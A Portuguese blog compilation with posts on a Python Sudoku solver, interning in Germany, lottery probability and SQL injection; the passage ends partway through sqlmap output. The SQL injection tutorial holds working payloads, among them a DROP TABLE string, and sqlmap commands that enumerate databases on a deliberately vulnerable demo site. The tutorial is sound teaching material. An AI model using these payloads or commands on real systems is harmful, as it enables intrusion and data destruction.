O Sudoku é um jogo de lógica onde o jogador deve preencher um tabuleiro 9x9 com os números de 1 a 9 de forma que nenhuma linha, coluna ou quadrante tenha o mesmo número duas vezes. A Figura abaixo mostra um desses tabuleiros. A primeira imagem é um problema típico, onde as linhas finas dividem as células e as linhas mais grossas dividem os quadrantes.

A segunda imagem (abaixo) é um tabuleiro resolvido, com a resolução em vermelho.

Resolvendo o problema

Iremos dividir a resolução do problema em várias partes: definindo o problema no Python, identificando as possibilidades das células, preenchendo as células e por fim retornando os resultados. Caso o leitor queira resolver por si mesmo o problema, essa é uma boa hora para parar de ler e por a mão na massa! Como um aviso: a resolução do problema vai ser apresentada da forma mais concisa e bonita possível, que definitivamente não foi a primeira solução que cheguei quando resolvi ele pela primeira vez!

Definindo o problema

Vamos definir primeiro o Sudoku em uma matriz. O Python (claro) já tem uma biblioteca para utilização de matrizes, o numpy. Como já sabemos a resposta do Sudoku da figura acima, vamos utilizá-lo como teste, preenchendo o valor zero nas posições desconhecidas.

import numpy as np

sudoku = np.array([5, 3, 0, 0, 7, 0, 0, 0, 0,
                   6, 0, 0, 1, 9, 5, 0, 0, 0,
                   0, 9, 8, 0, 0, 0, 0, 6, 0,
                   8, 0, 0, 0, 6, 0, 0, 0, 3,
                   4, 0, 0, 8, 0, 3, 0, 0, 1,
                   7, 0, 0, 0, 2, 0, 0, 0, 6,
                   0, 6, 0, 0, 0, 0, 2, 8, 0,
                   0, 0, 0, 4, 1, 9, 0, 0, 5,
                   0, 0, 0, 0, 8, 0, 0, 7, 9]).reshape([9, 9])

Assim, quando executamos print(sudoku) obtemos a matriz formatada (obrigado numpy!):

[[5 3 0 0 7 0 0 0 0]
 [6 0 0 1 9 5 0 0 0]
 [0 9 8 0 0 0 0 6 0]
 [8 0 0 0 6 0 0 0 3]
 [4 0 0 8 0 3 0 0 1]
 [7 0 0 0 2 0 0 0 6]
 [0 6 0 0 0 0 2 8 0]
 [0 0 0 4 1 9 0 0 5]
 [0 0 0 0 8 0 0 7 9]]

Identificando inserções possíveis

Um número só pode ser inserido em uma posição se ele ainda não estiver na linha, coluna ou quadrante.

Podemos retirar a linha de uma matriz com numpy facilmente usando sudoku(linha, :). O mesmo ocorre com a coluna, usando notação semelhante, sudoku(:, coluna). Para o quadrante, vamos escrever uma pequena função que retorna o quadrante inteiro.

def quadrant(sudoku, x, y):
    xx = x // 3
    yy = y // 3
    return sudoku[xx * 3:(xx + 1) * 3, yy * 3:(yy + 1) * 3]

Assim, é possível testar se a inserção é válida usando o operador in do Python:

def is_valid(sudoku, x, y, value):
    return value not in sudoku[x, :] and value not in sudoku[:, y] and value not in quadrant(sudoku, x, y)

Por fim, para retornar as possibilidades de uma determinada posição, basta testar os números de 1 a 9 na coordenada especificada:

def possibilities(sudoku, x, y):
    possibilities = list()
    for value in range(1, 10):
        if is_valid(sudoku, x, y, value):
            possibilities.append(value)
    return possibilities

Para testar nosso código, vamos utilizar a posição do centro conforme a figura a seguir. O número inserido não pode estar na linha (em verde), coluna (em vermelho) ou quadrante (em azul). A única possibilidade é o número 5. Para essa posição.

Rodando o nosso algoritmo utilizando print(possibilities(sudoku, 4, 4)), vemos que de fato 5 é a única possibilidade.

Preenchendo as células

Se você já jogou Sudoku sabe que preencher as células nem sempre é uma tarefa simples, como foi no nosso exemplo acima. Muitas vezes, há mais de uma possibilidade em todas as células e você deve simular se é possível resolver o problema escolhendo uma dessas possibilidades. Vamos primeiro percorrer a matriz e encontrar os lugares vagos (com valor igual a zero):

def solver(sudoku, solutions):
    for (x, y), value in np.ndenumerate(sudoku):
        if value == 0:
	    # resolver a posição

Como já dizia o poeta, “Só parte para a conversa quem não se garante na porrada.” Então, vamos usar a força bruta para resolver a posição desejada, tentando todas as possibilidades para a célula.

def solver(sudoku, solutions):
    for (x, y), value in np.ndenumerate(sudoku):
        if value == 0:
            for possibility in possibilities(sudoku, x, y):
                sudoku[x, y] = possibility

Dada o novo sudoku com a célula já preenchida, resolvemos esse novo sudoku. Mas espere! Já sabemos resolver o sudoku, basta utilizar a função solve() que acabamos de criar. Portanto, chamamos ela novamente:

def solver(sudoku, solutions):
    for (x, y), value in np.ndenumerate(sudoku):
        if value == 0:
            for possibility in possibilities(sudoku, x, y):
                sudoku[x, y] = possibility
                solver(sudoku, solutions)

Por fim, para caso a posição não for a correta, voltamos o sudoku para a posição original preenchendo-a com zero:

def solver(sudoku, solutions):
    for (x, y), value in np.ndenumerate(sudoku):
        if value == 0:
            for possibility in possibilities(sudoku, x, y):
                sudoku[x, y] = possibility
                solver(sudoku, solutions)
                sudoku[x, y] = 0

Isso vai fazer com que todas as posições do sudoku sejam testadas recursivamente. Caso o valor da célula seja zero e não haja nenhuma possibilidade para ela, então o sudoku não pode mais ser resolvido, nesse caso, retornamos sem fazer nada.

def solver(sudoku, solutions):
    for (x, y), value in np.ndenumerate(sudoku):
        if value == 0:
            for possibility in possibilities(sudoku, x, y):
                sudoku[x, y] = possibility
                solver(sudoku, solutions)
                sudoku[x, y] = 0
            return

Caso tenhamos passado por todas as células do tabuleiro e nenhuma delas for zero, então o sudoku foi resolvido, nesse caso, adicionamos uma cópia da solução às soluções e continuamos a busca.

def solver(sudoku, solutions):
    for (x, y), value in np.ndenumerate(sudoku):
        if value == 0:
            for possibility in possibilities(sudoku, x, y):
                sudoku[x, y] = possibility
                solver(sudoku, solutions)
                sudoku[x, y] = 0
            return
    solutions.append(sudoku.copy())

É isso! Já é possível resolver o sudoku com o algoritmo acima. Para isso, basta passar a nossa tabela que foi criada no início:

solutions = list()

solver(sudoku, solutions)

for solution in solutions:
    print(solution)

E o resultado é o sudoku preenchido.

[[5 3 4 6 7 8 9 1 2]
 [6 7 2 1 9 5 3 4 8]
 [1 9 8 3 4 2 5 6 7]
 [8 5 9 7 6 1 4 2 3]
 [4 2 6 8 5 3 7 9 1]
 [7 1 3 9 2 4 8 5 6]
 [9 6 1 5 3 7 2 8 4]
 [2 8 7 4 1 9 6 3 5]
 [3 4 5 2 8 6 1 7 9]]

Código completo

import numpy as np


def is_valid(sudoku, x, y, value):
    return value not in sudoku[x, :] and value not in sudoku[:, y] and value not in quadrant(sudoku, x, y)


def quadrant(sudoku, x, y):
    xx = x // 3
    yy = y // 3
    return sudoku[xx * 3:(xx + 1) * 3, yy * 3:(yy + 1) * 3]


def possibilities(sudoku, x, y):
    possibilities = list()
    for value in range(1, 10):
        if is_valid(sudoku, x, y, value):
            possibilities.append(value)
    return possibilities


def solver(sudoku, solutions):
    for (x, y), value in np.ndenumerate(sudoku):
        if value == 0:
            for possibility in possibilities(sudoku, x, y):
                sudoku[x, y] = possibility
                solver(sudoku, solutions)
                sudoku[x, y] = 0
            return
    solutions.append(sudoku.copy())


if __name__ == '__main__':
    sudoku = np.array([5, 3, 0, 0, 7, 0, 0, 0, 0,
                       6, 0, 0, 1, 9, 5, 0, 0, 0,
                       0, 9, 8, 0, 0, 0, 0, 6, 0,
                       8, 0, 0, 0, 6, 0, 0, 0, 3,
                       4, 0, 0, 8, 0, 3, 0, 0, 1,
                       7, 0, 0, 0, 2, 0, 0, 0, 6,
                       0, 6, 0, 0, 0, 0, 2, 8, 0,
                       0, 0, 0, 4, 1, 9, 0, 0, 5,
                       0, 0, 0, 0, 8, 0, 0, 7, 9]).reshape([9, 9])
    solutions = list()
    solver(sudoku, solutions)
    for solution in solutions:
        print(solution)

E assim, com menos de 50 linhas e um código facilmente legível, conseguimos resolver o problema do sudoku! De fato, não é uma implementação leve. A função solve é chamada 4632 vezes! Além disso, a resolução demora um pouco menos de 250 ms. Sim, provavelmente seria mais rápido implementar as mesmas funções em C. Mas será que é realmente necessário? Bem, vai depender de para quem você pergunta.

Extras

Você deve estar se perguntando porque utilizamos uma lista para adicionar as soluções. Isso é porque pode existir mais de uma solução por sudoku. Vamos remover dois número do sudoku anterior para ver o que acontece:

sudoku = np.array([5, 3, 0, 0, 7, 0, 0, 0, 0,
                   6, 0, 0, 1, 9, 5, 0, 0, 0,
	           0, 9, 8, 0, 0, 0, 0, 6, 0,
	           8, 0, 0, 0, 0, 0, 0, 0, 3,
	           4, 0, 0, 8, 0, 3, 0, 0, 1,
	           7, 0, 0, 0, 2, 0, 0, 0, 6,
	           0, 6, 0, 0, 0, 0, 2, 8, 0,
	           0, 0, 0, 4, 1, 9, 0, 0, 5,
	           0, 0, 0, 0, 8, 0, 0, 7, 9]).reshape([9, 9])

Após resolvermos o problema, ele acha duas soluções:

[[5 3 4 6 7 8 9 1 2]
 [6 7 2 1 9 5 3 4 8]
 [1 9 8 3 4 2 5 6 7]
 [8 2 6 7 5 1 4 9 3]
 [4 5 9 8 6 3 7 2 1]
 [7 1 3 9 2 4 8 5 6]
 [9 6 1 5 3 7 2 8 4]
 [2 8 7 4 1 9 6 3 5]
 [3 4 5 2 8 6 1 7 9]]
[[5 3 4 6 7 8 9 1 2]
 [6 7 2 1 9 5 3 4 8]
 [1 9 8 3 4 2 5 6 7]
 [8 5 9 7 6 1 4 2 3]
 [4 2 6 8 5 3 7 9 1]
 [7 1 3 9 2 4 8 5 6]
 [9 6 1 5 3 7 2 8 4]
 [2 8 7 4 1 9 6 3 5]
 [3 4 5 2 8 6 1 7 9]]

Estágio na Alemanha

2019-06-09T00:00:00+00:00

Esse artigo contém informações atualizadas para a data que foi escrito. Para se assegurar, sempre consulte as informações disponíveis no site do consulado brasileiro.

O processo de visto
Encontrando moradia
Chegando no país
- Anmeldung
- Número de identificação
Se mantendo no país

O processo de visto

O processo de visto, como você bem poderia esperar, é burocrático. As instruções completas podem ser encontradas em português e em alemão no site do consulado.

Existem duas coisas básicas que você precisa do seu empregador para tirar um visto de estágio:

Contrato de trabalho com indicação de remuneração mensal.
Autorização do ZAV (Serviço de colocação internacional).

Adicionalmente, você vai precisar dos seguintes documentos, que você pode preencher/obter no Brasil:

Requerimento de autorização de residência
Declaração nos termos do n.° 2, ponto 8, do artigo 54.°em conjugação com o artigo 53.° da Lei alemã de residência
Duas fotos biométricas atuais (3,5 x 4,5 cm)
Certificado de matrícula
Comprovante de seguro-saúde
Checklist de documentos

No momento que você possuir todos os documentos, você pode agendar um horário no consulado de sua região. Tenha em mente que os horários são escassos e agende com antecedência. Todos os documentos podem ser apresentados como cópia, então não é necessário que você receba os originais pelo correio. A seguir são descritos brevemente cada um dos documentos.

Contrato de trabalho

O contrato de trabalho é uma questão complicada. O empregador não pode fazer o contrato de trabalho sem o visto, e você não consegue tirar o visto sem um contrato de trabalho. Geralmente, isso é resolvido levando uma carta de aceite que a maioria das empresas dá, que é assinado por ambas as partes. O consulado sempre reclama mas acaba aceitando os documentos. Burocracia, na sua melhor forma!

O salário mínimo para tirar o visto é de ~~720 euros~~ 853 euros (valor atualizado em 01/09/2019) por mês. Se você ganhar menos que isso, você precisa de outros documentos para comprovar como que você planeja se manter. Entre em contato com o consulado nesses casos para se informar qual o melhor método de comprovação. Caso tenha sido oferecido menos, tente negociar com seu empregador um salário maior enviando as instruções de visto em alemão. Ganhar menos que isso irá fazer com que você tenha que investir muito dos próprios recursos para se manter no país.

Autorização do ZAV

O ZAV (Zentrale Auslands- und Fachvermittlung ou Colocação externa estrangeira e especializada) é um departamento da agência federal de empregos. Ela é responsável por aprovar os pedidos de trabalho na Alemanha. Você deve informar ao seu empregador no início da contratação que eles devem solicitar essa aprovação porque ela pode demorar algum tempo (e acredite, é um tempo doloroso!).

Autorização de residência e declaração

Esse dois documentos podem ser encontrados aqui. As primeiras 4 páginas representam o pedido de autorização de residência e a última a declaração nos termos do n.°2, ponto 8, do artigo 54.° em conjugação com o artigo 53.° da Lei alemã de residência. O primeiro documento são informações suas e o segundo documento atesta que as informações fornecidas estão corretas.

Algumas dúvidas podem surgir no preenchimento da autorização de residência. Algumas das respostas abaixo:

Autorização de residência n° não precisa ser preenchido.
Residência prevista na República Federal da Alemanha é o local aproximado onde você precisa morar. Eu coloquei o endereço do empregador. Conheci gente que colocou apenas a cidade.
Eu não pretendo ficar mais de doze meses na Alemanha e solicito um visto com uma validade para todo o tempo da minha permanência. Apesar de estar escrito que eles fornecem um visto de 90 dias, eles normalmente dão o visto para todo o período de estágio. Eu digo normalmente porque em algumas ocasiões (cof minha cof), mesmo levando exatamente os mesmos documentos que outra pessoa que ganhou o visto completo eles insistem em te dar o visto de 90 dias, fazendo com que você tenha que renovar ele na Alemanha e passar por todo esse processo burocrático lá. Pelos casos que conheci, esse processo é meio arbitrário e não tem indicação clara de que pode ocorrer. Então boa sorte!
Permanência prevista na República Federal da Alemanha é, literalmente, quanto tempo você planeja ficar na Alemanha (dããã). Como você não tem previsão de ida nem de volta, vale deixar alguns dias de margem no período de início e fim de estágio.

Fotos biométricas

Apesar do nome, nada mais são que fotos normais de documento, mas com tamanho de 3,5 x 4,5 cm em vez do tamanho tradicional brasileiro 3x4. O modelo de fotos pode ser encontrado no site do consulado.

Seguro-saúde

Para viajar, é necessário contratar um seguro-saúde temporário. Seu seguro definitivo irá ser contratado na Alemanha. Você deve estar se perguntando, se eu não sei quando vou viajar, como posso contratar um seguro-saúde pro período? A resposta é ¯\(ツ)/¯. O ideal é você pegar o seguro da data prevista de viagem até o início do seu estágio, quando teoricamente você já vai ter um seguro no país. Decidir o seguro-saúde que você vai contratar para esse período é importante, pois vale a máxima: “Você nunca sabe quando vai ser atropelado de bicicleta.”. Tenha consciência que imprevistos acontecem e esteja segurado contra problemas com a viagem ou acidentes.

O seguro no país é pago como uma determinada porcentagem do salário. As seguradoras mais famosas são AOK e TK, mas existem outras entre as quais você pode escolher. Eu nunca precisei acionar o seguro então não faço ideia de qual seja boa/ruim.

Encontrando moradia

Se você acha que passar na entrevista de emprego foi difícil, você vai ficar surpreso ao tentar achar moradia. São centenas de estudantes, estagiários e trabalhadores buscando ferozmente um lugar para dormir a noite. Devido ao alto custo de moradia, é comum moradias compartilhadas denominadas Wohngemeinschaft, ou WGs.

Para melhor te auxiliar, existe um site chamado WG gesucht onde você pode procurar um WG para morar. Crie um perfil e preencha informações sobre você. É importante você se dedicar um pouco na tarefa de se vender, então inclua bastante informação e boas fotos.

Chegando no país

Você conseguiu passar pela demora do ZAV, pela longa viagem até o consulado e pelos mais de 12h de voo para chegar na Alemanha. Após apreciar o mais tradicional prato alemão Döner Kebab na kebaberia mais próxima, você tem que voltar aos seus afazeres, que são:

Realizar o Anmeldung
Receber seu número de identificação

Anmeldung

O Anmeldung, ou “inscrição”, é o registro que você faz quando você entra no país ou muda de endereço. É necessário realizar esse registro em até 14 dias após se mudar para o novo endereço, embora ninguém realmente irá verificar se você realmente respeitou o prazo. Esse registro é extremamente importante já que ele é requisito para receber seu número de identificação na Alemanha, semelhante ao nosso CPF.

Caso ainda não tenha moradia definitiva ao chegar na Alemanha, você ainda pode realizar seu anmeldung usando o seu endereço temporário, incluindo seu Airbnb. Fale com o dono ou quem te aluga o quarto e peça para assinar o pedido de registro. Ao se mudar para sua residência definitiva, você deve realizar o anmeldung novamente.

Para realizar o anmeldung, basta se dirigir ao Bürgerbüro mais próximo com os seguintes documentos. Infelizmente, cada cidade tem seu próprio modelo de formulário, então verifique no site qual os documentos requeridos (exemplos para Stuttgart).

Passaporte
Wohnungsgeberbestätigung, formulário assinado pelo proprietário que comprova que você mora na casa. Exemplo de Stuttgart.
Anmeldung bei einer Meldebehörde, formulário de registro com suas informações. Exemplo de Stuttgart em alemão e em inglês (preencher o em alemão!).

Número de identificação

Realizado o anmeldung, você deverá receber seu número de identificação em pelo correio no endereço que você registrou. Caso não possa esperar (e geralmente não podemos), compareça a algum Finanzamt alguns dias depois de realizar seu anmeldung.

Se mantendo no país

Falamos sobre a burocracia inicial, agora você com sorte já tem casa, está devidamente registrado e precisa se manter no país usando seu suado dinheirinho. Infelizmente, sites sobre custo de vida como Numbeo tem o problema de não captarem exatamente o dia-a-dia de alguém com um orçamento fixo máximo. Embora os preços médios sejam precisos, eles não levam em conta as loucuras e os imprevistos na montanha-russa que caracteriza o estilo de vida estudante.

Então eu anotei TODOS os meus custos categorizados durante os 5 meses de estágio. Me disseram que não era desse mundo fazer gráficos assim, então eu decidi fazer. Se você estiver curioso, eu usei o GnuCash para contabilidade e exportei os dados das 6 áreas de maior custo em cada mês. O resto dos gasto foi categorizado como ‘Outros’.

Mês	Gasto
Dezembro/2018	€ 725.80
Janeiro/2019	€ 653.12
Fevereiro/2019	€ 686.06
Março/2019	€ 800.10
Abril/2019	€ 997.13
Média mensal	€ 772.44

Como vocês podem ver, a maior parte do gasto é aluguel e transporte, com o aluguel contribuindo cerca de 50% dos gastos mensais. O transporte público é o preço do passe mensal e varia de cidade para cidade. Se você morar em uma cidade menor, tanto a moradia quanto o valor do transporte será menor e com isso você consegue economizar.

Refeições estão por volta de €70.00/mês e esse valor depende muito se a empresa subsidia parte da refeição no almoço. Os gastos com mercado giravam em torno de €50.00/mês para comer bem.

Os valores de entretenimento incluem gastos em fim de semana e viagens. É possível se divertir muito sem gastar tanto dinheiro, mas isso fica para um outro post. Ah, e se você estiver se perguntando porque eu gastei tanto em entretenimento no último mês, espere até chegar o seu último mês.

A Matemática da Mega da Virada

2017-12-30T00:00:00+00:00

Na época de fim de ano, muitas pessoas voltam suas atenções para um evento probabilístico chamado Mega da Virada. Mas será que elas entendem a real chance de ganharem?

A probabilidade

A Mega-sena é um evento da loteria brasileira em que, dentre 60 números, nomeados de 1 a 60, o jogador deve marcar uma quantidade entre 6 e 15 números. O vencedor do prêmio máximo é aquele que corretamente marca os 6 números sorteados. O preço da aposta é R$ 3,50, então esse tipo de sorteio acumulado no final do ano é visto por muitos como uma forma de enriquecer facilmente apenas na sorte.

Em termos matemáticos, é muito fácil calcular a chance de ganhar nesse evento. O número de cartões possíveis é dado pela combinação de 60, 6 a 6, ou:

\[C_{60}^6 = \frac{60!}{54!6!} = 50.063.860\]

Sua chance de acertar o cartão é uma em cinquenta milhões, sessenta e três mil e oitocentos e sessenta! Para jogar todos os cartões possíveis, você teria que desembolsar aproximadamente 175 milhões de reais.

O jogo ainda te dá a chance de jogar vários cartões de uma só vez em um cartão só, preenchendo mais de 6 números. Por exemplo, ao jogar 7 números, você estará jogando o equivalente a 7 cartões diferentes, e o preço do cartão subirá proporcionalmente. Não existe nenhuma vantagem em jogar 7 cartões ou 6 números ou 1 cartão com 7 números.

Você pode alterar os parâmetros abaixo e ver como a sua probabilidade muda quanto mais números você joga. Tente alterar as propriedades do concurso! Quantos números você precisa jogar para ter 50% de chance de ganhar, o equivalente a ganhar no cara-ou-coroa? A reposta é 54. Mesmo jogando 59 números em 60, sua chance seria de 90%.

Probabilidade de Ganhar

Cartões totais do concurso:

Cartões totais jogados:

Preço da Aposta:

Chance de ganhar:

Um desperdício de papel

Um cartão comum da Mega-Sena possui 14x8.4 cm. Acredite. Eu medi. Isso equivale a 117.6 cm² de papel. Para preencher todos os mais de 50 milhões de cartões possíveis, são necessários 588751 m² de papel, que é aproximadamente o tamanho da cidade do Vaticano.

Considerando a densidade comum do papel A4 de 75 g/m², são necessárias aproximadamente 44 toneladas de papel para todos esses números.

Considerando a espessura comum de 0.1 mm, podemos empilhar os bilhetes ao invés de colocá-los lado a lado. O resultado são 5.000 m de altura de papel. Uma altura considerável, mas não é suficiente para alcançar o Everest, com seus imponentes 8.848 m de altura.

Todo número nasce igual… ou quase

Dentro de uma distribuição aleatória, é esperado que com o passar do tempo ela se torne uniforme, com igual probabilidade para todos os termos. Isso é realmente o que acontece analisando todas as ocorrências desde 1996.

O esperado é que cada número possua a probabilidade independente de 1/60 de ser sorteado, ou aproximadamente 1.67% das vezes.

Curiosamente, alguns números se destacam: o número 26 é o que menos apareceu em todos os concursos, sendo sorteado 164 vezes ou 1.37% das vezes. O número com maior probabilidade é o 5, com 232 ocorrências e aparecendo 1.93% das vezes.

O que esses dados significam? Absolutamente nada. Com um desvio padrão de 14.4, essa distribuição está bem próxima de uniforme. As variações encontradas são devido ao baixo número de amostras, e essa diferença tende a diminuir com o tempo, quando mais e mais números são sorteados.

Mas minha probabilidade de ganhar aumenta com o tempo… certo?

Um erro muito comum das pessoas é assumir que a probabilidade vai aumentando com o tempo: quanto mais tempo passa, mais provável é que você ganhe alguma coisa.

Tomemos como exemplo o lançamento de uma moeda, escolhendo coroa. É esperado que a probabilidade de ganhar escolhendo coroa seja de 50%. Agora vamos supor que alguém jogue a moeda duas vezes, tentando obter coroa. São 4 possibilidades possíveis:

Podemos observar que a probabilidade combinada é de 75%, pois em 3 dos 4 casos um dos lançamentos é coroa. Isso se deve ao fato de os lançamentos serem independentes. Caso você perca no primeiro lançamento, a probabilidade de ganhar cai imediatamente para 50%.

O mesmo ocorre na Mega-Sena. Sua probabilidade de ganhar em cada concurso continua a mesma, mas jogar mais concursos aumenta de leve suas chances de ganhar. A equação que rege essa probabilidade é:

\[P_G = 1 - (P_P)^n\]

Vamos digerir essa fórmula: a probabilidade ganhar, é igual a 1 menos a probabilidade de perder elevado ao número de tentativas. Voltando ao exemplo da moeda, onde a probabilidade de perder é 1/2 e são realizadas duas tentativas:

\[P_G = 1 - \left(\frac{1}{2}\right)^2 = 0.75 = 75 \, \%\]

Por fim, a chance de ganhar na Mega com n concursos também segue essa lógica:

\[P_G = 1 - \left(\frac{50.063.859}{50.063.860}\right)^n\]

Que como você pode perceber de antemão, é pequeno para valores pequenos de n, o que já era de se esperar: é preciso participar de muitos concursos para ter uma probabilidade alta de ganhar. Mas quantos exatamente? O gráfico a seguir mostra como a chance de ganhar varia com o número de concursos participados.

É incrível como o a probabilidade cai substituindo vários cartões em um mesmo concurso por apenas cartão em vários concursos. Para ter aproximadamente 50% de chance de ganhar, você teria que participar de aproximadamente 30 milhões de concursos.

Na marca de 100 milhões de concursos, você já deve ter o seu prêmio, com 86% de chance. Mas para valores até 500 mil concursos, a probabilidade continua insignificante, de menos de 1%.

Mas existe uma chance… certo?

Sim. A chance é infinitesimal, mas existe. Mas tenha em mente que ela é menor ou igual aos seguintes eventos:

Tirar coroa no cara ou coroa 25 vezes seguidas.
Morrer em um acidente de avião. Sério.
Ser morto por um meteoro. Sério².
Jogar 9 dados e todos caírem com a face 6 voltada para cima.
Ganhar um prêmio Nobel (não que prêmios Nobel sejam distribuídos ao acaso).

Mas eu quero tentar!

Eu sei que apesar de tudo sua mão está tremendo de ansiedade para jogar na Mega-Sena. Então eu montei uma tabela para planejar as suas chances de ganhar! Insira quantos números você quer apostar por concurso, quantos concursos quer participar e ele te dá a probabilidade de ganhar! Você ainda pode aumentar suas chances diminuindo a dificuldade ou diminuir o preço do cartão.

Probabilidade de Ganhar

Cartões totais do concurso:

Cartões totais jogados:

Preço por Aposta:

Chance por Aposta:

Concursos:

Preço total:

Chance total:

Entendendo SQL Injection

2017-12-13T00:00:00+00:00

Esse é um artigo explicativo de como funciona o SQL Injection e seu perigo para a segurança da informação, além de como esse problema pode ser contornado facilmente e como testar suas aplicações. Lembre-se que testar aplicações sem a permissão do proprietário é crime!

Introdução
Como Injetar comandos?
Exemplos de Injection em Query
Se protegendo de SQL Injection
Testando suas aplicações

Introdução

O SQL Injection é um ataque à aplicações que consiste em injetar comandos SQL que serão executados na máquina alvo. E isso pode, a princípio, parecer confuso. Mas segundo a OWASP ( Open Web Application Security Project), Injection representa um dos 10 maiores riscos para aplicações, incluindo aí ataques de SQL Injection, Command Injection e Buffer Overflow.

No entanto, é preocupante que uma aplicação que utiliza banco de dados, o que se resume a praticamente qualquer aplicação atual, possa ser explorada para executar comandos maliciosos arbitrários de um atacante. Em outras palavras, um ataque bem-sucedido poderia inserir e remover tabelas de um banco, ou mesmo enviar dados sensíveis de volta ao atacante, ferindo os pilares da segurança da informação.

Como Injetar comandos?

Você deve estar se perguntando: como exatamente alguém conseguiria injetar comandos em uma aplicação? Suponha que você escreva sua lista de compras mas mande outra pessoa ao mercado. Sua lista contém apenas um item, e a pessoa irá executar mentalmente a ação COMPRAR. Se sua lista contém, por exemplo, AÇÚCAR, então a pessoa, ao ler a lista, processaria COMPRAR AÇÚCAR. Mas você não está contente com isso, então escreve uma nova lista, contendo a string AÇÚCAR E CHOCOLATE. Logo, a pessoa que receber essa lista irá executar o comando de COMPRAR AÇÚCAR E CHOCOLATE.

Agora iremos injetar um comando que queremos que seja executado, algo que o programa original não estava preparado para receber. Vamos escrever AÇÚCAR E PULAR DA JANELA. O resultado? Bem, COMPRAR AÇÚCAR E PULAR DA JANELA. Talvez uma pessoa seja razoável o suficiente para não seguir esse conselho, mas uma mente robótica não pensaria duas vezes.

Exemplos de Injection em Query

Mesmo que Injection valha para diversos tipos de aplicações e banco de dados, vamos dar uma olhada no SQL (Structured Query Language). Tomemos por exemplo uma query simples de busca:

SELECT * from tabela_usuarios WHERE usuario=''; 

Essa busca retorna todas as colunas da tabela_usuarios com nome de usuário igual à ‘’ (vazio). No entanto, esse nome de usuário pode vir de uma outra função, como uma caixa de busca preenchida pelo usuário. É comum em muitas implementações as pessoas formarem o query SQL de forma dinâmica, a partir da união de várias strings. Tomemos por exemplo uma implementação rápida em PHP:

<?php

$query = "SELECT * from tabela_usuarios" 
       . "WHERE usuario='" . $usuario . "'";

$result = mysql_query($query);

?>

Embora essa implementação funcione, ela é facilmente quebrável. Basta, por exemplo, digitar o caractere ' na variável $usuario. O resultado será:

SELECT * from tabela_usuarios WHERE usuario='''; 

O que gerará um erro interno no programa, pois a segunda aspa fecha a primeira, mas a terceira não é fechada. Isso geraria um erro interno no programa que deve ser tratado, e nunca exibido para o usuário como muitos sites vulneráveis fazem. Podemos, no entanto, inserir coisas mais interessantes como ' OR '1'='1. O resultado disso será:

SELECT * from tabela_usuarios WHERE usuario='' OR '1'='1';

Que não só é uma query válida, como retorna todo o conteúdo de tabela_usuarios, pois a condição '1'='1' é sempre satisfeita. Já de cara é possível perceber como essa vulnerabilidade é perigosa. Bastaria uma simples busca com a string '; DROP TABLE tabela_usuarios; -- para que a tabela atual fosse completamente removida, já que os dois traços funcionam como comentário no SQL.

SELECT * from tabela_usuarios WHERE usuario=''; DROP TABLE tabela_usuarios; --';

Se protegendo de SQL Injection

Não tem jeito: de uma forma ou de outra, se você trabalha com banco de dados, suas aplicações terão que tratar das entradas do usuário, processo conhecido como sanitizing.

A OWASP divulga um manual de métodos de defesa contra SQLi. Sumarizando, existem três formas principais de proteção:

Utilizar métodos prontos da linguagem

Essa é uma metodologia eficaz e muito simples de ser implementada, e deveria ser como todos os programadores aprendem SQL. Ela implica em primeiro escrever todo o código SQL, para depois passar cada parâmetro individualmente. Os campos que devem ser substituídos são formados com wildcards, como o ?, e depois são substituídos pelas variáveis dentro da função, que já faz as verificações necessárias. Tomemos por exemplo a seguinte implementação em Java do primeiro exemplo:

String query = "SELECT * FROM tabela_usuarias WHERE usuario = ? ";
  
PreparedStatement pstmt = connection.prepareStatement( query );
pstmt.setString( 1, myusuario); 

Nessa ocasião, mesmo que o input tivesse caracteres estranhos como o ', a busca seria literal, ou seja, a query buscaria uma aspa armazenada no banco de dados.

Validar dados de entrada manualmente (whitelist)

Essa técnica basicamente visa eliminar os vetores de ataque recusando queries com caracteres suspeitos. Exemplos desse tipo de queries são strings de entrada contendo 1=1, <script> ou mesmo ', salvo nos casos onde esses caracteres são legítimos, como apóstrofos em nomes. Validar a entrada é um método recomendado mesmo quando outros métodos de proteção são utilizados.

Outra forma de validar dados de entrada de forma automatizada é utilizar Web Application Firewalls, ou WAFs. O problema com eles, embora sirvam para bloquear grande parte das query maliciosas, é que eles também podem ser enganados, levando a falsos positivos ou, pior, à falsos negativos. Além disso, eles impactam a performance da aplicação pois precisam processar todos os pacotes recebidos.

Escapar dados de entrada

Consiste em converter dados de entrada em caracteres que não causam problemas. O MySQL, por exemplo, suporta as seguintes conversões:

 NUL (0x00) --> \0
 BS  (0x08) --> \b
 TAB (0x09) --> \t
 LF  (0x0a) --> \n
 CR  (0x0d) --> \r
 SUB (0x1a) --> \Z
 "   (0x22) --> \"
 %   (0x25) --> \%
 '   (0x27) --> \'
 \   (0x5c) --> \\
 _   (0x5f) --> \_ 

Testando suas aplicações

Por muitas vezes é difícil testar suas aplicações para todos os vetores de ataque e todos os formulários existentes. Por isso, existem ferramentas automatizadas para teste das aplicações que fazem milhares de testes por segundo. Vamos utilizar o sqlmap. O site alvo será o Hackyourselffirst, um site dedicado a mostrar esse tipo de vulnerabilidade.

Uma análise inicial mostra que a página utiliza requisições do tipo GET, que provavelmente são dados como instruções ao banco de dados, como na variável orderby, diretamente no URL.

https://hackyourselffirst.troyhunt.com/Make/1?orderby=1

Vamos tentar passar um caractere proibido como o ' e ver como site responde.

https://hackyourselffirst.troyhunt.com/Make/1?orderby='

Um bom sinal! Os erros não são tratados e pior, são mostrados imediatamente ao usuário, o que significa que a aplicação pode ser vulnerável. Vamos rodar o sqlmap e tentar explorar essa variável. Primeiro, vamos enumerar os bancos da vítima:

./sqlmap.py --url "http://hackyourselffirst.troyhunt.com/Make/1?orderby=supercarid" --dbs

E então ele começa a trabalhar, rodando um teste automatizado que enumera os bancos.

E, como em um passe de mágica, ele nos retorna a estrutura do bancos de dados!

[08:17:00] [INFO] retrieved: hackyourselffirst_db
[08:17:01] [INFO] retrieved: master
[08:17:01] [INFO] retrieved: tempdb
[08:17:02] [INFO] retrieved:  
available databases [3]:
[*] hackyourselffirst_db
[*] master
[*] tempdb

Agora que já sabemos qual o banco que vamos atacar, precisamos enumerar as tabelas:

./sqlmap.py --url "http://hackyourselffirst.troyhunt.com/Make/1?orderby=supercarid" -D hackyourselffirst_db --tables

E voalá:

[08:30:19] [INFO] fetching tables for database: hackyourselffirst_db
[08:30:19] [INFO] the SQL query used returns 11 entries
[08:30:20] [INFO] retrieved: dbo.Make
[08:30:20] [INFO] retrieved: dbo.Supercar
